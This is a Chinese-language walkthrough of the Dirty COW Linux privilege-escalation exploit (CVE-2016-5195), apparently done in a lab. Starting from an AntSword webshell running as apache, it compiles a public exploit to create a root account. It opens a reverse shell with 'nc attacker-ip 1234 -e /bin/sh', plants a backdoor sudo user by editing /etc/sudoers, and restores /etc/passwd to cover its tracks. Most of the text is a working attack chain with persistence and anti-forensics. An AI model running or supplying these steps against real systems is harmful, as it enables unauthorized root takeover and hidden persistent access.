脏牛提权
漏洞描述
脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。
漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
影响范围
(如果你的内核版本低于以下版本,则还存在此漏洞):
1 | Centos7/RHEL7 3.10.0-327.36.3.el7 |
漏洞复现
这里我用的centos6的环境,查看内核版本。
发现版本在漏洞范围内。
链接蚁剑,查看权限。
发现是apache权限,权限很低,基本什么都干不了。
脏牛提权
下面上传脏牛进行提权。
下载链接:https://github.com/FireFart/dirtycow
成功上传。如果发现没有写入文件的权限,可以尝试上传至Linux临时目录tmp进行提权。
打开脏牛后可以看到脚本的使用方法。
首先使用gcc编译文档。
1 | gcc -pthread dirty.c -o dirty -lcrypt |
编译成功后当前目录下会生成如下文件。
生成密码
1 | ./dirty 账号密码 |
然后查看/etc/passwd文件,发现成功生成超级用户。
这样连上去的shell类型,不能su交互,我们需要tty交互式终端。解决方法可以切换一下shell。
1 | python -c 'import pty; pty.spawn("/bin/sh")' |
得到shell就可以su进行交互了。
但如果在蚁剑里面直接切换shell,无法成功,猜测是权限不够
如何得到一个完全交互性的shell
尝试用nc反弹shell
- 在攻击机上开启nc监听
- 反弹shell
1 | nc 攻击机ip 1234 -e /bin/sh (目标主机上有nc) |
链接账户发现成功切换为超级用户。
留个后门
- 添加用户,首先用adduser命令添加一个普通用户,命令如下:
1 | adduser abc//添加一个名为abc的用户 |
2、赋予root权限
修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:
1 | root ALL=(ALL) ALL |
但在修改文件的时候,发现得到的shell还是有问题的.
他直接读取了我们键盘的数据,这是因为得到的还是一个半交互性的shell
解决方法如下:
1 | 1、Ctrl-Z 可以将一个正在前台执行的命令放到后台,并且暂停 |
现在就可以正常修改了。
修改完毕,现在可以用abc帐号登录,然后用命令 sudo ,即可获得root权限进行操作。
清理痕迹
最后记得删除文件,不然root是无法登陆账户的。
1 | mv /tmp/passwd.bak /etc/passwd |